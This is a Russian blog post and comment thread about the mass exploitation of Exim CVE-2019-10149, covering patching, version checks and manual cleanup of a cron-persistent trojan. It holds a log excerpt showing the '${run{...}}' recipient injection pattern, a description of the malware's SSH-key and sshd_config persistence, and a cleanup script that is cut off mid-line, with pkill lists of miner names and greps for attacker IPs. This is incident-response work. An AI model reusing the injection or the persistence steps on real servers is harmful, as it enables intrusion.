Потенциально уязвимы несколько миллионов серверов по всему миру, уязвимость оценивается как критическая (CVSS 3.0 base score = 9.8/10). Злоумышленники могут запускать на Вашем сервере произвольные команды, во многих случаях от рута.
Пожалуйста, убедитесь что Вы используете исправленную версию (4.92) либо уже пропатченную.
Либо пропатчите существующую, см. ветку комментария immaculate.
Обновление для centos 6: см. комментарий Theodor — для centos 7 оно тоже работает, если из epel напрямую еще не прилетело.
UPD: Убунту затронуты 18.04 и 18.10, обновление для них выпущено. Версии 16.04 и 19.04 не затронуты, если только кастомные варианты на них не ставили. Подробнее на их официальном сайте.
Информация о проблеме на Opennet
Информация на сайте Exim
Сейчас описанная там проблема активно эксплуатируется (ботом, надо полагать), заметил у себя на некоторых серверах (бегавших на 4.91) заражение.
Далее читать актуально только для тех, кто уже «попал» — надо или перевозить всё на чистую VPS со свежим софтом, или искать решение. Попробуем? Пишите, если кто-то сможет побороть малварь эту.
Если Вы, являясь пользователем Exim и читая это, всё ещё не обновились (не убедились в наличии 4.92 или пропатченной версии), пожалуйста остановитесь и бегите обновляться.
Для уже попавших — продолжим…
UPD: supersmile2009 нашел у себя другую разновидность зловреда и даёт правильный совет:
Зловредов может быть великое множество. Запустив лекарство не от того и почистив очередь пользователь и не вылечится и возможно не узнает от чего ему лечиться нужно.
Заражение заметно так: [kthrotlds] грузит процессор; на слабой VDS на 100%, на серваках слабее но заметно.
После заражения зловред удаляет записи в крон, прописывая там только себя в запуском каждые 4 минуты, при этом файл кронтаба делает immutable. Crontab -e не может сохранить изменения, выдаёт ошибку.
Immutable можно снять например так, после чего удалить строку команды (1.5кб):
chattr -i /var/spool/cron/root
crontab -eДалее там в редакторе crontab (vim) удаляем строку и сохраняем:
dd
:wqОднако какой-то из активных процессов перезаписывает снова, разбираюсь.
При этом висит куча активных wget'ов (либо curl'ов) на адреса из скрипта инсталлятора (см. ниже), я их пока сбиваю так, но они снова запускаются:
ps aux | grep wge[t]
ps aux | grep cur[l]
echo "Stopping..."
kill -9 `ps aux | grep wge[t] | awk '{print $2}'`
kill -9 `ps aux | grep cur[l] | awk '{print $2}'`
Скрипт инсталлятора трояна нашел тут (centos): /usr/local/bin/nptd… не выкладываю во избежание, но если кто заражен и разбирается в shell скриптах, пожалуйста изучите внимательнее.
Дополню по мере обновления информации.
UPD 1: Снос файлов (с предварительным chattr -i) /etc/cron.d/root, /etc/crontab, rm -Rf /var/spool/cron/root не помог, равно как и остановка службы — пришлось кронтаб пока полностью выдрать (bin-файл переименовать).
UPD 2: Инсталлятор трояна иногда валялся также в других местах, помог поиск по размеру:
find / -size 19825c
UPD 3: Внимание! Помимо отключения selinux троян также добавляет свой SSH-ключ в ${sshdir}/authorized_keys! И активирует следующие поля в /etc/ssh/sshd_config, если они ещё не были прописаны как YES:
PermitRootLogin yes
RSAAuthentication yes
PubkeyAuthentication yes
echo UsePAM yes
PasswordAuthentication yes
UPD 4: Резюмируя на данный момент: отключаем exim, cron (с корнями), срочно убираем троянов ключ из ssh и правим конфиг sshd, перезапускаем sshd! И то пока не точно что это поможет, но без этого вообще беда.
Важную информацию из комментариев про патчи/апдейты вынес в начало заметки, чтобы читающие с неё начинали.
UPD 5: AnotherDenni пишет что малварь поменяла пароли в WordPress.
UPD 6: Paulmann подготовил временное лекарство, тестируем! После перезагрузки или отключения лекарства вроде как слетает, но пока хоть так.
Кто сделает (или найдёт) стабильное решение, пожалуйста пишите, многим поможете.
UPD 7: Пользователь clsv пишет:
Если еще не сказали то вирус воскрешается благодаря неотправленному письму в exim, при повторной попытке отправить письмо он восстанавливается, гляньте в /var/spool/exim4
Очистить всю очередь exim можно так:
exipick -i | xargs exim -Mrm
Проверка количества записей в очереди:
exim -bpc
UPD 8: Снова спасибо за информацию AnotherDenni: FirstVDS предложили свою версию скрипта для лечения, давайте тестировать!
UPD 9: Похоже что работает, спасибо Кириллу за скрипт!
Главное не забудьте что сервер уже был скомпрометирован и злоумышленники могли успеть ещё каких-то нетиповых гадостей (не прописанных в дроппере) подсадить.
Поэтому лучше переехать на начисто установленный сервер (vds), или хотя бы продолжить отслеживать тему — если что-то будет новое, пишите в комменты здесь, т.к. явно не все будут переезжать на свежую установку…
UPD 10: Ещё раз спасибо clsv: он напоминает что заражаются не только серверы, но например и Raspberry Pi, и виртуалки всякие… Так что после спасения серверов не забудьте спасти свои видеоприставки, роботов и тд.
UPD 11: От автора целебного скрипта важное примечание для «лечащих вручную»:
(после применения того или иного метода борьбы с этим зловредом)
перезагружаться обязательно надо — малварь сидит где-то в открытых процессах и, соответственно, в памяти, и записывает себя по новой в крон каждые секунд 30
UPD 12: supersmile2009 нашел у себя в очереди exim другой(?) зловред и советует сначала изучить конкретно свою проблему, до начала лечения.
UPD 13: lorc советует скорее переезжать на чистую систему, и файлы переносить крайне осторожно, т.к. малварь уже в публичном доступе и её использовать могут другими, менее очевидными и более опасными способами.
UPD 14: успокаивающих себя тем что как люди умные от рута не запускают — ещё одно срочное сообщение от clsv:
Даже если работает не из под рута происходит взлом… У меня на OrangePi стоит debianjessieUPD: stretch, exim запущен от Debian-exim и все равно случился взлом, потерло крон и прочее.
UPD 15: при переезде на чистый сервер со скомпрометированного не забывайте про гигиену, полезное напоминание от w0den:
При переносе данных обратите внимание не только на исполняемые или конфигурационные файлы, но и всё что может содержать вредоносные команды (например, в MySQL это может быть CREATE TRIGGER или CREATE EVENT). Также, не забывайте о .html, .js, .php, .py и других публичных файлах (в идеале эти файлы, как и другие данные, должны быть восстановлены из локального или другого доверенного хранилища).
Комментарии (154)
immaculate
10.06.2019 18:12Зачем так сложно убивать
wget, когда существуют командыkillallиpkill?
Кстати, в Debian и Ubuntu уязвимость уже исправлена, при этом номер версии exim остался тем же самым. Это я к призыву о том, что необходимо срочно остановить exim. У меня он уже пропатчен. У себя убедиться просмотром файла/usr/share/doc/exim4/changelog.Debian.gz.1c80
10.06.2019 18:20А как понять, что она исправлена патч установлен, если номер версии не меняется?
я сделал
apt-get update && apt-get install exim4
service exim4 restart
и да, номер версии не изменился
onix74
10.06.2019 18:29dpkg -l exim*
Покажет полную версию пакетов.ua30
11.06.2019 13:34dpkg -l exim*
dpkg-query: no packages found matching exim4.conf.template
Что за ошибка? /etc/exim4/exim4.conf.template есть файл.onix74
11.06.2019 13:44В текущем каталоге (находясь в котором запускаете dpkg), видимо, есть файл exim4.conf.template (посмотрите так ls ./). В результате, строка превращается в:
dpkg -l exim4.conf.template
ua30
11.06.2019 13:40Так работает:
dpkg -l|grep exim
ii exim4 4.89-2+deb9u4 all metapackage to ease Exim MTA (v4) installation
ii exim4-base 4.89-2+deb9u4 amd64 support files for all Exim MTA (v4) packages
ii exim4-config 4.89-2+deb9u1 all configuration for the Exim MTA (v4)
ii exim4-daemon-light 4.89-2+deb9u1 amd64 lightweight Exim MTA (v4) daemon
При этом:
exim --version
Exim version 4.89 #2 built 14-Jun-2017 05:03:07
Почему то 14-Jun-2017.
Но:
/usr/share/doc/exim4/changelog.Debian.gz
exim4 (4.89-2+deb9u4) stretch-security; urgency=high
* Non-maintainer upload by the Security Team.
* Fix remote command execution vulnerability (CVE-2019-10149)
— Salvatore Bonaccorso <carnil@debian.org> Tue, 28 May 2019 22:13:55 +0200
В общем, как то запутано. Но вроде 4.89-2+deb9u4. И вроде для Debian это Fix CVE-2019-10149. Правда все равно не пойму, откуда он взялся. Я его не обновлял.
Еще нет чекеров закрытости дыры?onix74
11.06.2019 13:48exim --version показывает мажорную версию, минорные изменения не указываются в данном случае. (Если я ничего не путаю). Поэтому — dpkg -l… и смотрим changelog по конкретной версии пакета.
bobrabobr Автор
10.06.2019 18:33Спасибо за уточнение про Debian и Ubuntu.
Касательно killall — там не только wget'ы запущены от рута, но и /bin/sh длиной 1.5кб, запускающие эти wget (либо curl, добавил в пост).
Поэтому killall не помогал, немного изощрился через ps/grep/awk (обновил пост для простоты).
Да и то пока до конца не дожал, несмотря на массовое автоотключение процессов и выдирание cron с корнем. Смотрю дальше.
ua30
11.06.2019 13:31У меня там:
exim4 (4.89-2+deb9u4) stretch-security; urgency=high
* Non-maintainer upload by the Security Team.
* Fix remote command execution vulnerability (CVE-2019-10149)
— Salvatore Bonaccorso <carnil@debian.org> Tue, 28 May 2019 22:13:55 +0200
Но я его не обновлял. С полгода на сервере ничего не обновлял. Как это понимать?bobrabobr Автор
11.06.2019 14:38Т.е. у Вас 4.89-2+deb9u4 стоит? Тут он помечен как fixed (не vulnerable, в отл. от u3):
https://security-tracker.debian.org/tracker/CVE-2019-10149
И указан в колонке Fixed Version для stretch'а. Т.е. это нормальная версия, с фиксом.
Т.е. вопрос сводится к тому, как на сервере, который Вы не обновляли полгода, свежий софт?:) А проверьте версии других программ, ничего не запускали?
Плюс, не запускали ли скрипты-фиксеры? Тот же скрипт от firstvds обновляет exim.ua30
11.06.2019 14:50Да, вопрос именно в этом. :) Дедик на Хетзнере. Поставил ихний Debian 9 minimal, все остальное ставилось вручную.
bobrabobr Автор
11.06.2019 14:55Любопытно :) Другие софтинки все старые? Скрипты-фиксеры не запускали? Заражения не было?
Если так то пока только одна версия — Вас поломал белошляпник, и от рута запустил Вам обновление exim ;)ua30
11.06.2019 15:15Ржач. :) Учитывая что exim в Debian работает не из-под root, видимо он не только exim обновил. :)
Не замечал чтобы еще что то было свежим. Прямо сейчас зайти и посмотреть возможности нет, не за той машиной. Но на днях обязательно загляну. Аж интересно.bobrabobr Автор
11.06.2019 15:19Да, крайне интересно, что же там было. Может по логам получится понять. Пожалуйста, когда разберетесь, напишите сюда тоже :)
clsv
13.06.2019 11:14+1Даже если работает не из под рута происходит взлом… У меня на OrangePi стоит debian jessie, exim запущен от Debian-exim и все равно случился взлом, потерло крон и прочее.
bobrabobr Автор
13.06.2019 11:20Мда, важный момент, а то тут много комментов было про запуск рута и идиотов. Спасибо, добавлю в пост, а то умные люди могут себя успокоить что от рута не запускают и не обновиться.
Ещё вопрос — а какая версия Debian-exim там стояла?..clsv
13.06.2019 11:36Прошу извинить, не на том сервере глянул lsb_release.
на Orange Pi установлен stretch
No LSB modules are available.
Distributor ID: Debian
Description: Debian GNU/Linux 9.9 (stretch)
Release: 9.9
Codename: stretchbobrabobr Автор
13.06.2019 11:40Спасибо, одной загадкой меньше! Но про запуск не из-под рута всё корретно же? Просто в посте апдейтну инфу с jessie на stretch.
clsv
13.06.2019 11:46Да, все верно, запущено от Debian-exim.
Надо почитать описание уязвимости, как оно так получается…
Здесь описана уязвимость
www1.opennet.ru/opennews/art.shtml?num=50819
clsv
13.06.2019 12:01security-tracker.debian.org/tracker/CVE-2019-10149
Уязвимая 4.89-2+deb9u3bobrabobr Автор
13.06.2019 12:27Понятно, спасибо. Надеюсь что все писавшие тут про то что в дебиане мол не из-под рута (и в целом что надо без рута) всё-таки обновились…
JomSocial
13.06.2019 11:15Если при попытке обновить результат принимает следующий вид: exim4 is already the newest version (4.89-2+deb9u3). 0 upgraded, 0 newly installed, 0 to remove and 4 not upgraded., то уязвимость есть? Как в таком случае провести обновление? Спасибо.
bobrabobr Автор
13.06.2019 11:184.89-2+deb9u3 на оф.сайте прямо указана как уязвимая версия, которую требуется обновить.
Скажите пожалуйста, а с каких таких серверов обновления качаете? Если у них такой несвежачок, это Вы ещё внимание обратили, а другие ведь могут попасть.
Тут в комментах для CentOS то же самое было — голландский какой-то сервак содержал старые версии в репозитории. Пришлось ручками переключаться на другой репозиторий и оттуда всё свежее встало сразу.
А обновиться Вам нужно срочно, чудо если ещё не заражены.
clsv
13.06.2019 11:22Проверьте добавлен ли у вас репозиторий
deb http://security.debian.org/debian-security stretch/updates main contrib non-free
Theodor
10.06.2019 18:37Для Centos 6 апдейт пока в тестовой ветке:
yum --enablerepo=epel-testing install eximbobrabobr Автор
10.06.2019 18:49Большое спасибо! Главное после обновления не забыть проверить ещё раз, не успел ли троян попасть на сервер (промониторив загрузку cpu и, возможно, глянув вручную файлы с размером инсталлятора: find / -size 19825c… но это конечно только попавшаяся мне версия, далее наверняка поменяют размер при апдейтах малвари).
BiOM
10.06.2019 22:17А вот у меня обновлять 4.91 до 4.92
CentOS release 6.7 (Final)
yum --enablerepo=epel-testing install exim
Loaded plugins: fastestmirror, security
Setting up Install Process
Loading mirror speeds from cached hostfile
* base: mirror.yandex.ru
* epel: de.download.ispsystem.com
* epel-testing: mirror.nl.leaseweb.net
* extras: mirror.docker.ru
* ispsystem-5.200: de.download.ispsystem.com
* ispsystem-base: de.download.ispsystem.com
* remi-safe: remi.mirrors.cu.be
* updates: mirror.docker.ru
* webtatic: uk.repo.webtatic.com
Package exim-4.91-1.el6.x86_64 already installed and latest version
Nothing to do
В чем может быть проблема?bobrabobr Автор
10.06.2019 22:31Гм, похоже у голландцев несвежий epel-testing:)
* epel-testing: mirror.nl.leaseweb.net
Попробуйте, пожалуйста, другое зеркало.
Посмотрел, откуда у меня свежий вкачало, вот отсюда:
* epel-testing: fedora-mirror01.rbc.ru
exim-4.92-1.el7.x86_64BiOM
10.06.2019 22:37Спасибо! Руками поправил адрес сервера в epel-testing.repo и после этого уже нормально накатился апдейт
daykkin
13.06.2019 21:23Я что не меняю, как не стараюсь всегда один ответ.
[root@server yum.repos.d]# yum --enablerepo=epel-testing update exim
Загружены модули: fastestmirror
Подготовка к обновлению
Loading mirror speeds from cached hostfile
epel-testing/metalink | 32 kB 00:00
epel-testing-source/metalink | 31 kB 00:00
* base: mirror.reconn.ru
* epel: mirror.yandex.ru
* epel-testing: fedora-mirror01.rbc.ru
* epel-testing-source: fedora-mirror01.rbc.ru
* extras: dedic.sh
* remi-safe: mirror.reconn.ru
* rpmforge: mirror.awanti.com
* updates: mirror.reconn.ru
epel-testing-source | 4.1 kB 00:00
epel-testing-source/primary_db | 40 kB 00:00
Нет результатов для параметра: exim
Пакет exim недоступен.
Нет пакетов, отмеченных для обновления
xl-tech
10.06.2019 19:244.92 уже давно стоит, но недавно еще прилетело обновление.
[root@xxx conf.d]# exim --version
Exim version 4.92 #3 built 05-Jun-2019 09:22:22
[root@xxx conf.d]# cat /etc/redhat-release
CentOS Linux release 7.6.1810 (Core)
Update, вру, Feb 03 09:51:35 Updated: exim-4.91-1.el7.x86_64 — до этого стоял 4.91, 4.92 прилетел только сейчас.
osipov_dv
10.06.2019 20:23+1Блин, развели панику… патч был уже в феврале, версия установленного софта ни о чем не говорит, для Debian Jessie патченная версия 4.84.2-2+deb8u5
security-tracker.debian.org/tracker/CVE-2019-10149bobrabobr Автор
10.06.2019 20:31Спасибо за уточнение. Да, патч ещё в феврале был, при этом об опасности дыры заговорили эдак с неделю назад. И там вроде как писали (несколько статей сейчас нашел) что неизвестно, будет ли оно вживую эксплуатироваться, или обойдётся.
И вот вживую оно нашлось на серверах, на которых стояли обычные последние «стабильные» версии — т.е. кто специально патчи не выискивал, а просто «регулярно обновляет весь софт до последней версии», могли крепко попасть.
Для них это написано — пока разбирался с проблемой (информации вообще не мог нигде найти), ещё несколько человек написали мне о такой же непонятной ситуации с 100% загрузкой процессом kthrotlds (это симптом что троян уже проник и работает).
Tangeman
11.06.2019 02:23Когда был патч, это ещё не считалось уязвимостью, но если судить по тому что пишут нашедшие, не так всё страшно (вроде):
To remotely exploit this vulnerability in the default configuration, an attacker must keep a connection to the vulnerable server open for 7 days (by transmitting one byte every few minutes). However, because of the extreme complexity of Exim's code, we cannot guarantee that this exploitation method is unique; faster methods may exist.
Или в переводе:
Чтобы удаленно применить эту уязвимость в конфигурации по умолчанию, злоумышленник должен держать соединение с уязвимым сервером открытым в течение 7 дней (передавая по одному байту каждые несколько минут). Однако из-за крайней сложности кода Exim, мы не можем гарантировать, что этот метод эксплуатации является уникальным; могут существовать более быстрые методы.
Что-то кажется слишком сложно для «эпидемии»… Плюс ещё нужно наличие чего-то типа «local_part_suffix = +*: -*» (для удаленного случая и наличии локального пользователя в local_part), или же exim должен быть настроен как relay.
Т.е. удаленно это провернуть должно быть довольно сложно, что, разумеется, не освобождает от необходимости обновления.bobrabobr Автор
11.06.2019 02:37Что касается «не считалось уязвимостью» — Вы прямо в точку! Крайне любопытно вышло.
Т.е. новую версию 4.92 Exim выпустили ещё в феврале, а испугались уязвимости и плотно стали работать с командами дистров, если не ошибаюсь, 3 июня (уже закрыл вкладки, могу дату чуть путать).
Но вот что характерно — ещё на той неделе не были люди уверены, что эту уязвимость смогут эксплуатировать (в частности наверно из-за упомянутых Вами 7 дней). Однако, судя по всему, на тот момент эксплуатация уже шла :) Как раз примерно с 3 числа, раз 10 июня покатилась волна заражений.
Т.е. как бы сложно ни было это провернуть — а ведь провернули же…
И это мы ведь только верхушку айсберга видим. Не удивлюсь если многие только ещё завтра и далее спохватятся что у них что-то не так.
Посмотрим, но сейчас хотя бы временное решение есть, плюс чёткое понимание необходимости срочно обновиться.
sebres
11.06.2019 12:49+1Jessie во первых вовсе затронут не был, а во вторых — типа как бы "устарел".
Для текущей же стабильной ветки (stretch) — обновление 4.89-2+deb9u4 прилетело только 5 июня.
(Да и для buster 4.92-7 вылили после 07 мая судя по changelog).winnehr
13.06.2019 09:35-1Опротестую я это утверждение, сегодня ломанули сервер нам как раз на jessie. Апдейты в конце мая последний раз ставили и всё равно огребли
bobrabobr Автор
13.06.2019 10:58Ого, а точно через эту дырку? Т.е. дроппер тот у себя нашли и тд?
Момент важный, т.к. на сайте Дебиана во второй таблице jessie указан как (not affected).
Подскажите пожалуйста, какая у Вас была версия exim на момент взлома?winnehr
13.06.2019 17:07посыпаю голову пеплом :(, на попавшем под замес хосте stretch стоял, jessie на соседнем был, он живой
bobrabobr Автор
13.06.2019 18:32Большое спасибо за уточнение! (не переживайте, это была не единственная путаница с jessie/stretch) Тогда всё в порядке, пользователи jessie переводят дух!
sebres
13.06.2019 11:23Опротестую я это утверждение
Есть основания кроме "ломанули сервер на jessie"?
Векторов атаки на самом деле пруд пруди и очень редко попытки идут через одну единственную дыру в одной софтине...
Факт в том, что согласно истории exim, исправленный в фиксе код впервые появился в 4.87. На jessie же 4.84.
На этом собственно всё.bobrabobr Автор
13.06.2019 11:31Всё верно пишите, очень странная ситуация, скорее всего взлом через другую дырку был. Но лучше не отмахиваться а сначала разобраться — на всякий случай, мало ли.
Те ли симптомы (код дроппера тот же?), не обновлена ли версия exim руками до больной (многие же любят похимичить) и т.д.
Почему это считаю важным — тут ещё пишут что jessie поломан.
Стоит посмотреть, что там творится — лучше убедиться что проблема там другая, чем успокаивать себя что ну не может же этого быть) Верно?sebres
13.06.2019 13:37+2А не надо тут разбираться.
Ну люди, мы на каком ресурсе здесь вообще?
Я понимаю клонить лень т.д., но есть жеж онлайн инструменты
Находим фикс d740d2111f189760593a303124ff6b9b1f83453d для CVE-2019-10149, а потом блеймим до изменения где тот код впервые экспериментально появился (и смотрим в каких ветках оно есть) ну или просто тупо сравниваем еще непофикшеный файл src/src/deliver.c из какого-либо предыдущего коммита (или из 0cbf2b821bb13da0268556d0e30ea627d5592c60 где оно появилось уже в том виде как до фикса) с веткой 4.84 (или с версией jessie).
У кого не прыгает на код, щелкнуть на таб "Files changed".
И видим что этот кусок кода там (в jessie версии) вовсе отсутствовал:
+#ifndef DISABLE_EVENT + if (process_recipients != RECIP_ACCEPT) + { + uschar * save_local = deliver_localpart; + const uschar * save_domain = deliver_domain; + + deliver_localpart = expand_string( + string_sprintf("${local_part:%s}", new->address)); + deliver_domain = expand_string( + string_sprintf("${domain:%s}", new->address)); + + (void) event_raise(event_action, + US"msg:fail:internal", new->message); + + deliver_localpart = save_local; + deliver_domain = save_domain; + } +#endifbobrabobr Автор
13.06.2019 13:43Спасибо за труды, серьёзно. Потому и любопытно, что же там происходило. Со вторым кейсом разобрались, там не jessie вовсе был. :)
С кейсом, под которым комментируем, скорее всего тоже ситуация иная — либо через другую дыру ломанули, либо в jessie руками запихивали уязвимую версию.sebres
13.06.2019 14:11Да какие-то труды… Не за что.
Кстати, глядя на тот код я право не знаю откуда такое вот берется:
an attacker must keep a connection to the vulnerable server open for 7 days (by transmitting one byte every few minutes).
Обычное переполнение… Я утрирую, но… тут на коленке за час можно инжект состряпать… Десяток емайлов (ну сотня в худшем случае) определенного содержания и "сервер наш".
Им кстати неоднократно об этом и намекалось и прямо говорилось чуть не с 2004-го года, например или здесь…
По видимому на грабли нужно наступить раз 20-ть пока дойдет.bobrabobr Автор
13.06.2019 18:41Ну да, раз с 2014 года про переполнение писали то «занятно» вышло.
Что касается 7 дней — гм, любопытно, но что любопытнее то по срокам вот такое совпадение получается: эксплойт заметили в деле 10 числа, ровно спустя неделю после "2019-06-03 This announcement to exim-users, oss-security".
Связано ли это как-то или нет? Кому не лениво узнать, пишите :)
Тем временем вопрос про jessie снят — в обуждаемом случае тоже был stretch, jessie не при делах, как Вы и говорили.sebres
13.06.2019 20:04+1Что касается 7 дней — гм, любопытно
Так разве непонятно как заражалось?
Не надо там 7-ми дней, от слова совсем...
Ну вот вам комманда как искать (здесь в ротированых логах):
zgrep -m 100 'rejected RCPT.*\brun' /var/log/exim4/*
Оцените сколько им нужно было времени.
Я к сожалению не могу, ибо в "моем" случае (например на серверах клиентов, там где stretch) везде стоял мой IDS (на базе кастомного fail2ban), так что они все посваливались в долгосрочный бан не успев ничего натворить до обновления.
Вытяжка из summary для одного адреса выглядит примерно так (я обрезал немного дабы скрипт-киддис не вводить в искушение):
Start of ban | End of ban | Jail | Ban-time | Ban-count | Info ---------------------|---------------------|------|--------------------|-----------| ----------- 2019-06-11 13:27:34 | 2019-06-13 05:30:52 | exim | 144198 (1.7 days) | 2 failures > 2, ip4: 89.248.171.57, country: NL (prev: SC) matches: 2019-06-11 13:27:34 no IP address found for host scanner20.openportstats.com (during SMTP connection from [89.248.171.57]) 2019-06-11 13:27:34 no IP address found for host scanner20.openportstats.com (during SMTP connection from [89.248.171.57]) ---------------------|---------------------|------|--------------------|-----------| ----------- Start of ban | End of ban | Jail | Ban-time | Ban-count | Info ---------------------|---------------------|------|--------------------|-----------| ----------- 2019-06-10 04:31:31 | 2019-06-11 00:56:56 | exim | 73525 (20.4 hours) | 1 failures > 10, ip4: 89.248.171.57, country: NL (prev: SC) matches: 2019-06-10 04:31:31 no IP address found for host scanner20.openportstats.com (during SMTP connection from [89.248.171.57]) 2019-06-10 04:31:31 no IP address found for host scanner20.openportstats.com (during SMTP connection from [89.248.171.57]) 2019-06-10 04:31:31 no IP address found for host scanner20.openportstats.com (during SMTP connection from [89.248.171.57]) 2019-06-10 04:31:31 no IP address found for host scanner20.openportstats.com (during SMTP connection from [89.248.171.57]) 2019-06-10 04:31:31 H=(target.example.com) [89.248.171.57] F=<> rejected RCPT <${run{...}@target.example.com>: Unrouteable address 2019-06-10 04:31:31 H=(target.example.com) [89.248.171.57] F=<> rejected RCPT <root+${run{...}@target.example.com>: Unrouteable address 2019-06-10 04:31:31 H=(target.example.com) [89.248.171.57] F=<> rejected RCPT <bin+${run{...}@target.example.com>: Unrouteable address 2019-06-10 04:31:31 H=(target.example.com) [89.248.171.57] F=<> rejected RCPT <${run{...}@target.example.com>: Unrouteable address 2019-06-10 04:31:31 H=(target.example.com) [89.248.171.57] F=<> rejected RCPT <root+${run{...}@target.example.com>: Unrouteable address 2019-06-10 04:31:31 H=(target.example.com) [89.248.171.57] F=<> rejected RCPT <bin+${run{...}@target.example.com>: Unrouteable addressbobrabobr Автор
13.06.2019 21:07Спасибо! По логам тут по-моему достаточно grep {run rej*, по крайней мере тот вариант со zgrep мне ничего нового не показал…
С кастомным fail2ban Вы молодец, не зря свой хлеб едите) У меня вот их пропустило спокойно.
Впрочем, сам по себе пропуск такого письма судя по всему не должен был привести к поражению — локально оно бы сработало, а вот удалённо (в типовом случае) не должно было из-за включенного по умолчанию «verify = recipient».
Это не я такой умный придумал, а про 7 дней нашел источник, там эти и другие сочнейшие детали. А то все как попугаи про «по байту целую неделю» говорили, но откуда оно — меня интриговало…
А оно, собственно, из оригинального расследования — отчёта Qualys.
Очень любопытное чтиво на самом деле. 7 дней там взялись из необходимости в течение дефолтного timeout_frozen_after после отправки своего письма поддерживать открытым тоннель с 5-минутным таймаутом, так что раз в 4 минуты по байту в него кидали.
Иначе бы из заход порубился через 2 суток (ignore_bounce_errors_after).
Почитайте, прямо настоящий детектив :)sebres
13.06.2019 21:59Так итог их сценария для "дефолного конфига" на самом деле подводится всего одной фразой:
but simpler and faster solutions may exist
И оно таки существует… У вас verify ACL что действительно отключен был? Кто-нибудь смог оценить сколько им на самом деле понадобилось (с дефолтными ACL)?
Т.е. qualys нашли один возможный вектор атаки (с помощью bounce) и развили его в возможный сценарий как оно при этом позволяет обойти дефолтные ACL).
Еще раз — проработали один возможный сценарий, при этом явно указав что вероятны и другие (проще и быстрее).
А в интернете как всегда притянули то что хотели за уши и теперь талдычат про «по байту целую неделю»… Ну-ну.
Кстати, кроме всё-таки несколько сложных вещей (типа упомянутого уже
BO), я на вскидку вижу еще как минимум один возможный сценарий… тоже с bounce, но с глобальным.forward(определенного вида) или локальным.forwardпользователя с привязкой к анти-спаммерам типа spamassassin. (Нужно в исходниках кое-чего глянуть).
Как минимум если "режектинг" спама реализован черезdeliverдирективу (у exim фильтра директиваfailчерез одно место реализована, поэтому такое сплошь и рядом).
winnehr
13.06.2019 17:04Да, всё верно. Версия стояла 4.89-2+deb9u3
В очереди входящих сообщений exim лежит тело письма с инъекцией \run и совпадающее с датой падения сервера, у меня к сожалению малой кровью не обошлось, ибо продакшн.
В кронтабе тот самый вирус с загрузкой из хоста ТОР, файлы вновь созданные с группой Debian-exim. Изменен sshd_config, в папке рута и .ssh/authorized_keys c флагом immutable
iig
10.06.2019 20:32Злоумышленники могут запускать на Вашему сервере команды от рута.
В debian ведь exim не от root запускается?bobrabobr Автор
10.06.2019 20:46К сожалению, по Debian не подскажу. Выше привели ссылку на патч для Debian, там указаны severity=high, urgency =high; т.е. опасность серьёзная. Про рут однако не для всех случаев ясно, скорректирую фразу, спасибо.
AnotherDenni
10.06.2019 20:52Добавьте, что если есть wordpress, то заменяются пароли от админки.
bobrabobr Автор
10.06.2019 20:54Спасибо за уточнение, добавлю в пост. От себя уточно что у меня заражению подвергся почтовый сервер, вообще без «веб-морды» — т.е. отсутствие WordPress тут не спасло бы.
paulmann
10.06.2019 21:33WordPress есть, но пароли не сменились. Видимо, это уже какая-то модификация червя у Вас.
paulmann
10.06.2019 20:54Словил эту гадость на exim 4.91 (CentOS 7).
проапдэйтился до 4.92 и никак не могу вычистить эту заразу.
По куче мануалов из сети создал файл kill.sh
#!/bin/sh echo "Kill kthrotlds..." while (true) do pkill -f kthrotlds pkill -f ksoftirqds pkill -f ldm pkill -f npt pkill -f ntp pkill -f ntpd pkill -f nptd pkill -f kswapd pkill -f onion pkill -f tor2web chattr -i /tmp/kthrotlds >/dev/null 2>&1; sudo rm -f /tmp/kthrotlds chattr -i /etc/rc.d/init.d/kthrotlds >/dev/null 2>&1; sudo rm -f /etc/rc.d/init.d/kthrotlds chattr -i /usr/sbin/kthrotlds >/dev/null 2>&1; sudo rm -f /usr/sbin/kthrotlds chattr -i "/usr/bin/[kthrotlds]" >/dev/null 2>&1; sudo rm -f "/usr/bin/[kthrotlds]" chattr -i "/root/.cache/.ntp" >/dev/null 2>&1; sudo rm -f "/root/.cache/.ntp" chattr -i -a /.cache/ >/dev/null 2>&1; sudo rm -f "/.cache/.kswapd" chattr -i -a /root/.cache/ >/dev/null 2>&1; sudo rm -f "/root/.cache/.kswapd" chattr -i "/root/.cache/.a" >/dev/null 2>&1; sudo rm -f "/root/.cache/.a" chattr -i "/usr/bin/[" >/dev/null 2>&1; sudo rm -f "/usr/bin/[" chattr -i "/usr/local/bin/npt" >/dev/null 2>&1; sudo rm -f /usr/local/bin/npt chattr -i "/usr/local/bin/nptd" >/dev/null 2>&1; sudo rm -f /usr/local/bin/nptd chattr -i -a /etc/cron.d/* >/dev/null 2>&1; chattr -i -a /etc/cron.d/.cronbus >/dev/null 2>&1; sudo rm -rf /etc/cron.d/.cronbus sudo rm -rf /etc/cron.d/root chattr -i -a /etc/cron.daily/* >/dev/null 2>&1; sudo rm -rf /etc/cron.daily/.cronbus sudo rm -rf /etc/cron.daily/root chattr -i -a /var/spool/cron/* >/dev/null 2>&1; sudo rm -rf /var/spool/cron/.cronbus sudo rm -rf /var/spool/cron/root pkill -f ksoftirqds pkill -f kthrotlds sudo rm -f /etc/ld.so.preload sudo rm -f /usr/local/lib/libcset.so chattr -i /etc/ld.so.preload >/dev/null 2>&1; sudo rm -f /etc/ld.so.preload sudo rm -f /usr/local/lib/libcset.so sudo rm -f /tmp/kthrotlds sudo rm -f /etc/cron.d/tomcat sudo rm -f /etc/cron.d/root sudo rm -f /var/spool/cron/root sudo rm -f /var/spool/cron/crontabs/root sudo rm -f /etc/rc.d/init.d/kthrotlds sudo rm -f /usr/sbin/kthrotlds sudo rm -f /etc/init.d/netdns pkill -f ksoftirqds pkill -f kthrotlds pkill -f tor2web pkill -f onion pkill -f hwlh3wlh44lh pkill -f Circle_MI pkill -f get.bi-chi.com pkill -f hashvault.pro pkill -f nanopool.org pkill -f an7kmd2wp4xo7hpr pkill -f "xmr" pkill -f "xig" pkill -f "ddgs" pkill -f "qW3xT" pkill -f "wnTKYg" pkill -f "t00ls.ru" pkill -f "sustes" pkill -f "thisxxs" pkill -f "hashfish" pkill -f "kworkerds" pkill -f "systemctI" pkill -f "kpsmouseds" pkill -f "kthrotlds" pkill -f "kintegrityds" pkill -f "suolbcc" pkill -f khugepageds crontab -l | grep '192.99.142.226\|82.146.58.234\|83.220.169.247\|91.201.42.5' | crontab -r crontab -l | grep 'pastebin.com' | crontab -r crontab -l | grep 'gitee.com' | crontab -r crontab -l | grep '107.174.47.156' | crontab -r crontab -l | grep '83.220.169.24' | crontab -r crontab -l | grep 